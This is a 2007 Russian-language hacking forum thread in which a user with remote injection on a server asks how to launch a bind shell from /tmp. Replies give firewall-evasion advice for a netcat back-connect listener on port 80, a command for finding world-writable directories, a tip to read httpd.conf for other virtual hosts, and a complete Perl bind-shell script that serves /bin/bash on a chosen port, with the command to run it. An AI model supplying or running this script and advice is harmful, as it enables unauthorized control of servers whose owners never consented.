Проблема с шеллом

Discussion in 'Песочница' started by Termin@L, 3 Sep 2007.

  1. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    Есть ремоте инъекция, но папка которую можно читать только одна, запись соответственно в неё запрещена, разрешена только в /tmp, можно как-нибудь оттуда запустить bind script?
     
  2. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    тебе лучше воспользоваться бэкконектом
    rst и некоторые версии c99 шеллов запускают бэкконект из /tmp и если у тебя свободен 80 порт (не стоит на нем какойнить веб сервак), то в неткате лучше открывать именно его (nc -l -n -v -p 80) и соответственно бэкконект делать на этот порт, т.к. соединение сервера с другими портами может быть запрещено политикой безопасности...

    ЗЫ да, имхо если включено safemode, то врядли чтото получится...

    ЗЗЫ из шелла (если нет safemode и нет openbasedir) выполни команду
    Code:
    find / -type d -perm -2
    мож всеже есть папки в которые ты можешь записывать...

    найди httpd.conf и если прочитаешь, можешь увидеть пути к другим в.хостам
     
    #2 Scipio, 3 Sep 2007
    Last edited: 4 Sep 2007
  3. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    Конечно можно
    Code:
    #!/usr/bin/perl
    $SHELL="/bin/bash -i";
    if (@ARGV < 1) { exit("mda"); }
    $LISTEN_PORT=$ARGV[0];
    use Socket;
    $protocol=getprotobyname('tcp');
    socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
    setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
    bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
    listen(S,3) || die "Cant listen port\n";
    while(1)
    {
    accept(CONN,S);
    if(!($pid=fork))
    {
    die "Cannot fork" if (!defined $pid);
    open STDIN,"<&CONN";
    open STDOUT,">&CONN";
    open STDERR,">&CONN";
    exec $SHELL || die print CONN "Cant execute $SHELL\n";
    close CONN;
    exit 0;
    }
    }
    cd /tmp; perl bind.pl 31337

    или через через функции r57shell
     
  4. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Если ты попробувал, и у тебя не получилось, скорее всего фаер порубал соедининие.